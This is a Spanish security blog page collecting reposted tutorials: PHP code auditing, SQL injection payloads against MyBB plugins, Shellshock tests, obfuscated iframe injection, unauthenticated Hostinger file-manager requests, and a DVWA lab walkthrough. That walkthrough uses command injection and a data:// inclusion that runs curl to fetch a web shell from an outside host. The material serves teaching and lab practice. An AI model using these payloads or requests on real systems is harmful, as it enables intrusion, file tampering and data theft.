Banner 1

Mostrando entradas con la etiqueta vulnerabilidades. Mostrar todas las entradas
Mostrando entradas con la etiqueta vulnerabilidades. Mostrar todas las entradas

Encontrando 0-days en Aplicaciones Webs

0 comentarios
1.- CREACIÓN DE UN ENTORNO DE AUDITORIA:

¿Por qué utilizar un entorno de Auditoria?

Simplemente se puede descargar el código que deseemos auditar, seguidamente se puede analizar el código utilizando un editor de texto en busca de vulnerabilidades.
Esto no es preferible, ya que hay una posibilidad muy alta de que falten cosas y seguramente tomará mucho más tiempo que mediante el uso de un entorno de Auditoria.

Web Server:

Queremos crear un servidor web donde podremos subir y probar las aplicaciones PHP, en estos casos se puede utilizar XAMPP o cualquier otro sistema que permita analizar estas aplicaciones localmente.
Es muy recomendable probar y analizar el posible código vulnerable en este servidor web (XAMPP) o en una red de confianza.

¿Que es lo que vamos a Auditar?

Ahora, cuando tenemos nuestro servidor creado tenemos que instalar cosas adicionales como WordPress, Joomla, MyBB o similares, dependiendo de lo realmente queremos auditar.

Si en estos casos vamos por un CMS independiente o simplemente una aplicación PHP que no, por supuesto, necesitamos algunos de los anteriores, pero es probable que en algún momento del tiempo pase a un blog de WordPress o un foro MyBB.
Seguidamente se mostraran los enlaces de descarga y alguna información sobre la forma de instalar algun CMS en particular:
MyBB
Guía de Instalaciónhttp://docs.mybb.com/Installing.html
WordPress
Joomla
SMF:

2.- LO QUE DEBEMOS BUSCAR:

User input:

La mayoría de vulnerabilidades son posibles porque el programador del archivo php olvida la validacion de entrada. Esto ocurre mayormente con las vulnerabilidades de SQL Injection, Cross-Site Scripting, File Inclusion, Server Side Include, Code Injection, File Upload y muchos mas.
---------------------------------------------------------------------------------------------
$_GET
Un array asociativo de variables pasadas al script actual a través de los parámetros de URL.

$_POST

Un array asociativo de variables pasadas al script actual mediante el método HTTP POST

$_REQUEST
Una matriz asociativa que contiene por defecto el contenido de $ _GET, $ _POST y $ _COOKIE.

$_COOKIE

Un array asociativo de variables pasadas al script actual a través de cookies HTTP.

$_SERVER

$ _SERVER - $ HTTP_SERVER_VARS [obsoleta] - Información del servidor y entorno de ejecución.

$_FILES

Una matriz asociativa de artículos subidos al script actual a través del
método HTTP POST.
---------------------------------------------------------------------------------------------
Posibles Funciones Vulnerables:
Sql Injection:

Ejemplo Vulnerable:
---------------------------------------------------------------------------------------------
$id = $_GET['id'];
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
---------------------------------------------------------------------------------------------


Existen un montón de posibilidades que las funciones de mysql sean vulnerables, para ello podemos echar un vistazo al siguiente link para obtener mas información sobre las funciones de MySql.

He aquí algunas funciones comunes que posiblemente sean vulnerables:
  • mysql_db_query - Selecciona una base de datos y ejecuta una consulta sobre el mismo.
  • mysql_fetch_array - Extrae la fila de resultado como una matriz asociativa, una matriz numérica o ambas.
  • mysql_fetch_field - Obtener información de columna del resultado y regresar como un objeto.
  • mysql_fetch_row - Devuelve una fila de resultado como una matriz enumerada.
  • mysql_num_rows - Devuelve el número de filas en el resultado.
  • mysql_result - Obtener datos de resultado.
File Inclusion:
Ejemplo Vulnerable:
---------------------------------------------------------------------------------------------

$file = $_GET['file'];
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>
---------------------------------------------------------------------------------------------

  • include()
  • require()

Si la aplicación no restringe cómo incluir archivos que puede leer archivos locales y posiblemente ejecutar archivos desde un servidor remoto (si allow_url_fopen está habilitado).
Upload:
---------------------------------------------------------------------------------------------

$target_path = "uploads/";
$target_path = $target_path . basename($_FILES['uploadedfile']['name']);
if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file " . basename($_FILES['uploadedfile']['name']) . " has been uploaded";
} else {
echo "There was an error uploading the file, please try again!";
}
?>
---------------------------------------------------------------------------------------------

  • $_FILES
Si la aplicación no restringe como se cargan los archivos, en estos casos se puede cargar y ejecutar cualquier tipo de archivos.
Code Execution:
---------------------------------------------------------------------------------------------

$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
?>
---------------------------------------------------------------------------------------------

  • passthru()
  • system()
  • eval()
  • exec()


3.- HERRAMIENTAS ÚTILES, SCRIPTS Y TÉCNICAS:

Editores de Texto:

Sublime Text 2 es uno de los mejores Editores de Textos que existe, sus funcionalidades incluyen, pero no se limitan a destacar del sintaxis, la apertura de directorios como "Proyectos" (muy útil) y una función de búsqueda muy agradable.

Grep:

Grep es una utilidad de línea de comandos para la búsqueda de texto sin formato, para las líneas que coincidan con una expresión regular. Grep fue desarrollado originalmente para el sistema operativo Unix.

Grep es una herramienta muy útil cuando se trata de realizar auditorias hacia aplicaciones web. Supongamos que tenemos el siguiente código en app.php:

---------------------------------------------------------------------------------------------

$header = $_GET['header'];
if(isset($header))
{
include("headers/$header");
}
else
{
include("headers/standard.php");
}

$id = $_GET['id'];
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
?>
---------------------------------------------------------------------------------------------

Podríamos usar una línea de comandos:
---------------------------------------------------------------------------------------------
$ grep _GET app.php
---------------------------------------------------------------------------------------------

Salida:
---------------------------------------------------------------------------------------------
$header = $_GET['header'];
$id = $_GET['id'];
---------------------------------------------------------------------------------------------
Encontrar funciones mysql_*:
---------------------------------------------------------------------------------------------
grep include app.php
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
include("headers/$header");
include("headers/standard.php");
---------------------------------------------------------------------------------------------
Ahora digamos que tenemos 3 aplicaciones PHP en una carpeta y queremos buscar la función include en todas ellas, entonces podríamos hacer algo como esto:
---------------------------------------------------------------------------------------------
grep include *.php
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
app2.php: include("headers/$header");
app2.php: include("headers/standard.php");
app3.php: include("headers/$header");
app3.php: include("headers/standard.php");
app.php: include("headers/$header");
app.php: include("headers/standard.php");
---------------------------------------------------------------------------------------------
Si queremos dar salida al número de línea, puede utilizar el argumento -n de esta manera:
---------------------------------------------------------------------------------------------
grep include *.php -n
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
app2.php:5: include("headers/$header");
app2.php:9: include("headers/standard.php");
app3.php:5: include("headers/$header");
app3.php:9: include("headers/standard.php");
app.php:5: include("headers/$header");
app.php:9: include("headers/standard.php");
---------------------------------------------------------------------------------------------

Ahora queremos comprobar si las palabras 'SELECT' y 'FROM' se pueden encontrar:
---------------------------------------------------------------------------------------------
grep 'SELECT\|FROM' app.php -n
---------------------------------------------------------------------------------------------

Salida:
---------------------------------------------------------------------------------------------
13:$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
---------------------------------------------------------------------------------------------


Si queremos que coincida con una cadena e ignorar mayúsculas y minúsculas se utiliza el argumento -i:
---------------------------------------------------------------------------------------------
grep 'sEleCt\|FroM' app.php -n -i
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
13:$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
---------------------------------------------------------------------------------------------

Algunas otras herramientas para auditar archivos php: http://www.hotscripts.com/blog/6-free-php-security-auditing-tools/

4.- AUDITORIA EN EL MUNDO REAL:

Vamos a echar un vistazo a un ejemplo del mundo real, un exploit público, y ver si podemos encontrar las vulnerabilidades:
MyBB DyMy User Agent SQL Injection:
Vamos a descargar la aplicación vulnerable y colocarlo en nuestra carpeta de plugins. Lo primero que debemos hacer es abrirlo en el Editor de texto:
Ahora vamos a empezar con un poco de búsqueda básica para posibles funciones vulnerables y cosas similares:
---------------------------------------------------------------------------------------------
grep "\$_GET" dymy_ua.php -i -n
grep "\$_GET" dymy_ua.php -i -n
grep "mysql_" dymy_ua.php -i -n
grep "include" dymy_ua.php -i -n
---------------------------------------------------------------------------------------------
Salida:
Nada util.
¿Por qué no encontrar nada? ¿Estamos haciendo algo mal? La respuesta está en el código fuente, vamos a echar un vistazo:
---------------------------------------------------------------------------------------------
function dymy_ua_install()
{
global $db;

$db->write_query("ALTER TABLE ".TABLE_PREFIX."posts ADD `useragent` VARCHAR(255)");
}
---------------------------------------------------------------------------------------------
Si alguna vez has visto el codigo fuente de los plug-in de MyBB, echa un vistazo a los siguientes documentos para obtener una mejor comprensión de lo que está mal aquí:
Así que cuando estemos auditando Plugins MyBB tenemos que cambiar nuestros métodos de auditoría un poco.
Vamos a buscar $db, ya que se utiliza en Plugins MyBB para las interacciones de bases de datos. Volvamos a la terminal y probar algunas cosas nuevas.
---------------------------------------------------------------------------------------------
grep "\$db" dymy_ua.php -i -n 
---------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------
56: global $db;
58: $db->write_query("ALTER TABLE ".TABLE_PREFIX."posts ADD `useragent` VARCHAR(255)");
63: global $db;
65: if($db->field_exists("useragent", "posts"))
75: global $db;
77: $db->delete_query("templategroups", "title='DyMy User Agent Templates'");
78: $db->write_query("ALTER TABLE ".TABLE_PREFIX."posts DROP `useragent`");
83: global $db;
85: $q = $db->simple_select("templategroups", "COUNT(*) as count", "title = 'DyMy User Agent'");
86: $c = $db->fetch_field($q, "count");
87: $db->free_result($q);
95: $db->insert_query("templategroups", $ins);
101: "template" => $db->escape_string(' {$os}'),
106: $db->insert_query("templates", $ins);
111: "template" => $db->escape_string(' {$browser}'),
116: $db->insert_query("templates", $ins);
125: global $db;
127: $db->delete_query("templates", "title IN('DyMyUserAgent_Postbit_OS', 'DyMyUserAgent_Postbit_Browser') AND sid='-2'");
------------------------------------------------------------------------------------------------------------------
Como esto no es mucho lo que podemos manipular, vamos a ir a 127 líneas y ver qué pasa:
------------------------------------------------------------------------------------------------------------------
function dymy_ua_deactivate()
{
global $db;

$db->delete_query("templates", "title IN('DyMyUserAgent_Postbit_OS', 'DyMyUserAgent_Postbit_Browser') AND sid='-2'"); // Line 27

require_once MYBB_ROOT."/inc/adminfunctions_templates.php";
find_replace_templatesets('postbit',"#".preg_quote('{$post[\'icon_browser\']}{$post[\'icon_os\']}')."#",'',0);
find_replace_templatesets('postbit_classic',"#".preg_quote('{$post[\'icon_browser\']}{$post[\'icon_os\']}
')."#",'',0);
}

function dymy_ua_dh_post_insert(&$data)
{
$useragent = $_SERVER ? $_SERVER['HTTP_USER_AGENT'] : $HTTP_SERVER_VARS['HTTP_USER_AGENT'];
$data->post_insert_data['useragent'] = $useragent;
$data->post_update_data['useragent'] = $useragent;
}

function dymy_ua_postbit(&$post)
{
global $templates;

if(isset($post['browser']) && isset($post['system']) && !empty($post['browser']) && !empty($post['system']) && empty($post['useragent']))
{
$os = str_ireplace("icon_", "", $post['system']);
$browser = str_ireplace("icon_", "", $post['browser']);
$browser = preg_replace("#^linux([a-z])#si", "$1", $browser);
}
...
------------------------------------------------------------------------------------------------------------------
En este nos damos cuenta de algo muy bonito, eche un vistazo a esto:
------------------------------------------------------------------------------------------------------------------
function dymy_ua_dh_post_insert(&$data)
{
$useragent = $_SERVER ? $_SERVER['HTTP_USER_AGENT'] : $HTTP_SERVER_VARS['HTTP_USER_AGENT'];
$data->post_insert_data['useragent'] = $useragent;
$data->post_update_data['useragent'] = $useragent;
}
------------------------------------------------------------------------------------------------------------------
Vemos aquí que la aplicación inserta el user_agent sin ningún tipo de desinfección. Vamos a encender nuestro foro MyBB en nuestro localhost y tratar de analizar estos datos.
Activar el plugin en tu panel de administración y luego ir a un hilo y despues usar el Live HTTP Headers.
Vamos a ver este lado de nuestro mensaje:
Así que ahora, vamos a tratar algunas pruebas básicas para ver si la vulnerabilidad de inyección SQL en realidad existe:
Ah, maravilloso! Ahora vamos a jugar un rato con él hasta que tengamos una consulta agradable para la inyección.
Después de algunas pruebas vamos a salir con esta consulta:
------------------------------------------------------------------------------------------------------------------
' and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)B)); #
------------------------------------------------------------------------------------------------------------------
5.- NUEVO 0-DAY - MyFlags MyBB plugins SQL Injection:
La vulnerabilidad de inyección SQL que existe en MyBB Plugin HM_My Country Flags:
Cuando este plugins se activa un usuario puede ir a su panel de control y ver esto:
Cada vez que el usuario vea su nacionalidad se mostrará junto a sus mensajes:
Abrimos Live HTTP Headers y pulsamos en el Pais, en las cabeceras HTTP Live copie la direccion URL (localhost/mybb/misc.php?action=hmflags&cnam=Belgium&pf=5') y pega esto en una nueva pestaña.
Ahora ponga un ' después el país:
Salida:
------------------------------------------------------------------------------------------------------------------
MyBB has experienced an internal SQL error and cannot continue.

SQL Error:
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''Belgium''' at line 1
Query:
SELECT * FROM mybb_users u LEFT JOIN mybb_usergroups g ON (u.usergroup=g.gid) LEFT JOIN mybb_userfields f ON (u.uid=f.ufid) WHERE fid5='Belgium'' 
------------------------------------------------------------------------------------------------------------------
Ajustar un poco y podrás averiguar que es unión basada con un montón de columnas:

Espero que haya disfrutado de este tutorial y pueda ayudarte a encontrar vulnerabilidades 0-days en aplicaciones webs.

Tutorial PHP:
Tutorial MySQL:
CRÉDITOS:
Autor: Join7
 
Fuente: http://www.sniferl4bs.com/2014/06/encontrando-0-days-en-aplicaciones-webs.html

Vulnerabilidades comunes en HTML5

0 comentarios
Buenos días.

Estas dos grandes entradas son muy interesantes en el tema de vulnerabilidades comunes, son practicamente lectura obligatoria:


http://thehackerway.com/2014/10/08/vulnerabilidades-comunes-en-html5-configuraciones-inseguras-con-cors-parte-1/

http://thehackerway.com/2014/10/29/vulnerabilidades-comunes-en-html5-localstorage-y-vulnerabilidades-en-websql-parte-2/

Saludos roboticos

From SQL injection to Shell : Practicando SQL injectión

0 comentarios


From SQL injection to Shell

Difficulty

Beginner

Details

This exercise explains how you can from a SQL injection gain access to the administration console. Then in the administration console, how you can run commands on the system.

What you will learn?

  • SQL injection exploitation using UNION
  • Cracking md5 hashed passwords
  • Writing a PHP webshell

Requirements

  • A computer with a virtualisation software
  • A basic understanding of HTTP
  • A basic understanding of PHP
  • Yes, that's it!

Download


Mirror


Fuente:
https://www.pentesterlab.com/exercises/from_sqli_to_shell/

Ayuda para resolver el laboratorio:
http://websec.ca/kb/sql_injection

Comprometer una máquina con sólo conectarse a la red

0 comentarios
El bug en bash, ya bautizado como Shell Shock, es tan terrorificamente sencillo que hasta los menos expertos son capaces de juntar rápidamente algo de código para comprometer una máquina Linux/Unix (incluido Macs). Así en menos de dos días hemos pasado de una simple prueba de concepto a una autentica pandemia de explotaciones.

Una de las más llamativas es la que ya conocíamos desde el principio con DHCP y que ahora nos ilustra TrustSec, otra PoC en la que vemos como podemos insertar código en laopción 114 (default-url) de nuestro server para explotar la vulnerabilidad:


String () { ignored;}; echo ‘foo’ en servidor TFTPD64

Simplemente hacemos un renew en el cliente (o levantamos el interfaz) y observamos el resultado:



Fuente: http://www.hackplayers.com/2014/09/shellshock-dhcp-o-como-puede.html

Test Shellshock - Vulnerabilidad en Bash

0 comentarios
¿Qué es Shellshock?
Shellshock es un problema de seguridad que lleva a razón de 20 años oculto en la terminal de los sistemas operativos Linux y Mac.

Afecta al intérprete de comandos Bash. Así, al abrir una terminal en el sistema y con la órden adecuada es posible conseguir el total control del sistema, accediendo así a toda su información.

Por otro lado, es común en los programas que ejecuten un intérprete de comandos Bash en segundo plano. Por su lado, el experto Robert Graham ha declarado que el problema de seguridad es mayor que Heartbleed, apuntando de nuevo al hecho de la interacción típica de los programas con la consola. 


Para conocer si nuestro sistema operativo es vulnerable o no, en el Blog de Red Hat han creado un test de uso muy sencillo. Para realizar dicha prueba solo es necesario abrir una terminal y ejecutar la siguiente orden.
env x='() { :;}; echo Su sistema es vulnerable' bash -c "echo Esto es un Test"
Si el sistema que usamos no es vulnerable, la salida será la siguiente.

Y en el supuesto caso que nuestro sistema fuese vulnerable, la salida sería esta otra.
Si el resultado del test ha sido "vulnerable", tocaría actualizar el sistema lo más rápido posible para evitar problemas a un corto plazo.


Fuente: http://www.seguridaddelmal.com/2014/09/test-shellshock-vulnerabilidad-en-bash.html


How to Exploit an Iframe Vulnerability & Security

0 comentarios

Web application security is always an important topic to discuss because websites seem to be the first target of malicious hackers. Hackers use websites to spread their malwares and worms, and they use the compromised websites for spamming and other purposes. OWASP has created an outline to secure a web application from the most dangerous vulnerabilities in web application, but it is always good to be actively learning about the new weaknesses and the new ways that an attacker might use to hack into a web application.


Hackers are always trying to discover new ways to trick a user so from a penetration tester’s point of view a website administrator should take care of each and every vulnerability and the weaknesses that an attacker may exploit to hack into a website. There are so many automatic tools and manual techniques available to test a website for the most common vulnerabilities, like SQL-injection, cross site scripting, security misconfiguration and others, but we should take care about the variant of these vulnerabilities. SQL-injection is dangerous because an attacker may get access into a database and steal the information of the user and the administrator of the website, but what if an attacker simply hijacks the user or simply redirects your visitor to a malicious website. This can break the trust of the visitor on your website.

In this article, we will discuss the attack at HTML level or attack at HTML codes, iframe is the part of HTML or a technique used in HTML to embed some file (document, video and others) in the same HTML page. The simple way to explain iframe is that “iframe is the technique to display the information from another web page within the same (current) page”. Security risk in iframe is an important topic to discuss because the usage of iframe is very common- even the most famous social networking websites are using iframe. The simple attribute to use iframe is as follows:


The above statement shows how to display another website within a website.

Example 2:



Width and height of an iframe has been defined, but since the frame visibility is hidden there is no physical presence of Infosec Institute’s website. This technique is not used by the attacker because the frame occupies the area (width and height).


Now it is completely hidden from the user’s eye, but the iframe is working as normal. Look at the picture below.



Obfuscated iFrame Injection Attacks

Obfuscated iframe injection attack is a dangerous and tricky attack because it is very difficult to detect and find the malicious injection code on a website. Obfuscated is the way to hide the meaning of the communication so that it is difficult to find the injected code. The aim of this attack is the same- to trick the user and then redirect to the third party web page to exploit the user. If a website has been compromised by using iframe injection attack, then it is easy to find and locate the injection code because the code is easy to read. However, in an obfuscated iframe injection attack, it is not easy to read the injected code.

Let’s consider an example- A website has been compromised and it redirects or displays another web page within a page to sell some products. The visitor of this website trusts your website, and they usually purchase products so you need to make sure to clean the website from this tricky attack. A simple way is to review the index page for the possible iframe and redirect code. Let’s suppose you have reviewed but have not found any URL of the third party website. Now, there is no URL of the third party website so what is the problem? Sometimes attackers use human weaknesses (social engineering technique) in a web application attack. Let’s suppose there is a code like:

++++%23wp+/+GPL%0A%3CScript+Language%3D%27Javascript%27%3E%0A++++%3C%21--%0A++++document.write%28unescape%28%273c696672616d65207372633d27687474703a2f2f696e666
f736563696e737469747574652e636f6d2f272077696474683d273127206865696768743d273127207374
796c653d277669736962696c6974793a2068696464656e3b273e3c2f696672616d653e%27%29%29%3B%0A

++++//--%3E%0A++++%3C/Script%3E

It seems to be normal and an important code for this website; but in reality, it is the root cause of the problem. Let’s decode it by using the java decoding function and the result is:
#wp / GPL

   
-->

Again, it seems to be a legitimate piece of code because the attacker has created it very carefully and used the term “GPL” “wp” and “Java” so the code seems to be legitimate. In actuality, it is the root cause but how can this be confirmed. Everything is good with the code, but the numbers and letters seems to be HEX. In the next step, we need to decrypt it via hex decoder. Remember take only:
3c696672616d65207372633d27687474703a2f2f696e666f736563696e737469747574652e636f6d2f272
077696474683d273127206865696768743d273127207374796c653d277669736962696c6974793a206869

6464656e3b273e3c2f696672616d653e


The result is:


Now, you can imagine why it is difficult to fight against the obfuscated iframe injection attack.

Para visualizar bien los códigos visitar la fuente.

Fuente: 
http://www.ehacking.net/2012/07/iframe-security-vulnerability.html


Hostinger

0 comentarios
Como bien dice el título, hoy vamos a hablar sobre Hostinger y una vulnerabilidad de seguridad (probablemente un 0day) presente en la mayoría de webs alojadas en este hosting.
La vulnerabilidad es muy fácil de aprovechar, de hecho, me parece un fail tremendo, una chapuza..

El caso es que mientras miraba un par de cosas en una web para pruebas que tengo en este hosting, me pregunté, ¿Como funciona el FileManager? Si habéis usado algún hosting, sabréis que permiten subir, modificar y borrar archivos desde una interfaz web, generalmente llamada FileManager o Administrador de Archivos en español.
El caso es que si nos fijamos en como funciona, podemos ver que no son más que peticiones GET o POST, pero, ¿a donde? Pues depende del FileManager que usemos.. Con Hostinger puedes usar dos FileManager distintos, si usas el que te ponen como principal, eres vulnerable, aunque solo lo hayas usado una vez. ¿Por que? Por que el filemanager se "instala" en tu carpeta de hosting web, como los archivos que subes para tu web.
Como podemos ver en la siguiente imagen, es una carpeta como cualquier otra en nuestro hosting (Imagen obtenida con el Filemanager 2)

Con esto, ya os imagináis como funciona el FileManager.. Básicamente se realizan peticiones a los scripts de esta carpeta para crear, modificar o borrar ficheros de nuestro hosting.
Lo bonito es que no hay ningún tipo de control sobre estas peticiones, es decir, no se usan cookies, ni nada que puedas imaginar para controlar que el que realiza la petición para gestinar el hosting sea realmente el dueño.

Algunas de las peticiones son:
Para abrir directorios:
http://domain/_file-manager/php/connector.php?cmd=open&target=l1_Lw

Para ver contenido de archivos:
http://domain/_file-manager/php/connector.php?cmd=get&target=l1_Lw

Para editar archivos:
Petición POST a: http://domain/_file-manager/php/connector.php
Con parámetros por POST:
cmd=put
target=archivo
content=

Las variables son bastante intuitivas, cmd es el comando, es decir, lo que quieres hacer (abrir, obtener o modificar). Por otro lado tenemos la variable content, que sirve para indicar el nuevo contenido del archivo que vamos a modificar. Y por último, target, que indica el archivo que vamos a modificar.
Target si tiene algo más de complicación, pues no es un path ni un nombre de archivo el valor que debe tomar, sino que es un hash. Cada archivo tendrá su hash y usaremos este para modificarlo o para abrir el directorio. ¿Como conseguimos el hash? Muy sencillo, el hash de la raiz todos los hostings es l1_Lw, y usando la petición con cmd=open, nos devuelve el listado de archivos con toda la información necesaria, incluido el hash. De este modo podemos ir listando cualquier directorio al mas puro estilo "ls" de Linux.


Y si necesitamos ver los archivos pues usamos cmd=get y listo.

Y por mi parte, creo que no es necesario explicar nada más. La vulnerabilidad, como pueden ver es muy simple.

Si tienen un hosting con hostinger pueden protegerse eliminando la carpeta de instalación del filemanager usando el segundo filemanager que tiene hostinger o usando algún software para acceder por FTP.

Espero que les haya gustado. Nos leemos!

Fuente: http://elladodelnovato.blogspot.com/2014/05/vulnerabilidad-hostinger-0day.html

Lab: Aprendiendo a explotar vulnerabilidades web con DVWA

0 comentarios
Para quienes no lo recuden o no conozcan sobre DVWA es básicamente un aplicativo de entrenamiento en seguridad web. En un anterior articulo habíamos hablado ya sobre cómo explotar y evitar vulnerabilidades web (recomendado leer para conocer el funcionamiento de cada vulnerabilidad y cómo solucionarlas) usando DVWA en nivel fácil, para este caso haremos lo mismo pero aumentando la dificultad a Medium.

File Upload

Para este nivel nos complican un poco más la vida ya que validan que sólo subamos imágenes con formato JPG :( así que debemos “bypassear” el filtro para poder subir nuestra shell, ¿qué es un bypass? básicamente es cambiar el flujo de datos normal por otro, que para este caso son las cabeceras. Para hacer eso necesitaremos un sniffer que registre la información que se envía por el formulario, para eso usemos nuestro amiguito Live HTTP Headers:
Subimos la shell cambiándole la extensión a .jpg y capturamos lo que se envía, como se ve en la imagen de arriba el archivo sube satisfactoriamente pero no lo podemos ejecutar dentro del servidor. Dentro de Live HTTP headers usamos la opción repetir para luego cambiar la extensión .jpg por .php, de esta forma cambiamos las cabeceras y volvemos a enviar la información modificada:
De esta forma el archivo se sube con extensión .php y podremos ejecutarlo :)

Command Execution

Nos volvemos a encontrar con un formulario que ejecuta un ping a la dirección IP que le indiquemos, el objetivo es poder ejecutar cualquier otro comando que nosotros queramos. Esta vez no podemos usar el operador lógico && (y) pero Batch/Bash cuenta con otros operadores más como por ejemplo || (o), para poder que la consola interprete || necesitamos que el primer comando (o sea ping) no se ejecute correctamente, simplemente en vez de poner una IP enviamos una palabra cualquiera seguido de || comando:
Otra forma aún más simple sería usando sólo | que funciona de forma similar a &&.

File Inclusion

Esta vez al intentar incluir un archivo externo al servidor enviándolo como parámetro: ?page=http://web.com/shell.php nos encontramos con:
1Warning: include(google.com): failed to open stream: No such file or directory
En pocas palabra no encuentra dentro del servidor el archivo google.com, si nos fijamos la validación está quitando el http://. Por un lado nos complica hacer un RFI (Remote File Inclusion) pero podemos explotar un LFI (Local File Inclusion), de esta manera podemos ver el contenido de archivos del servidor como puede ser passwd. En sí es muy poco lo que podemos hacer a menos de que ya tuviéramos una shell dentro del servidor, pero como no es el caso debemos buscar la manera de subir una ¿cómo hacemos esto? ejecutando comandos de consola. Para ello hacemos uso de data:// que es un esquema de URL soportado desde PHP 5.2 que permite la inclusión de datos directamente sin llamar archivos, para hacerme explicar mejor, podríamos por ejemplo mostrar una imagen en un HTML sin especificar la URL de la imagen:
1<img src="data:image/png;base64,contenido en base64 />
Ahora si probamos enviando
1?page=data:,
Debería imprimirse el texto Hola desde RedInfoCol. Naturalmente queremos ir más allá de un echo, ejecutar comandos de consola, para ello usaremos la función system de PHP. Ahora para descargar la shell al servidor podríamos hacer uso de wget o cURL:
1?page=data:, "curl -O http://miweb.com/shell.php"); ?>
Cabe mencionar que el anterior ataque se puede o no realizar según la configuración de allow_url_include en el php.ini. Por ultimo mencionar que también hubiera podido incluir un ftp:// directamente con la dirección de la shell y hubiera funcionado el RFI pero no está demás dar a conocer las diferentes formas de explotar una vulnerabilidad.

XSS Reflected y Stored

En este nivel el sistema de comentarios sigue siendo vulnerable a HTML pero no a Javascript evitando las etiquetas
Existen herramientas online como esta que convierten los caracteres del Javascript que le indiquemos facilitando la tarea.

Fuente: http://www.redinfocol.org/dvwa-level-medium/
Powered by Bad Robot
Helped by Blackubay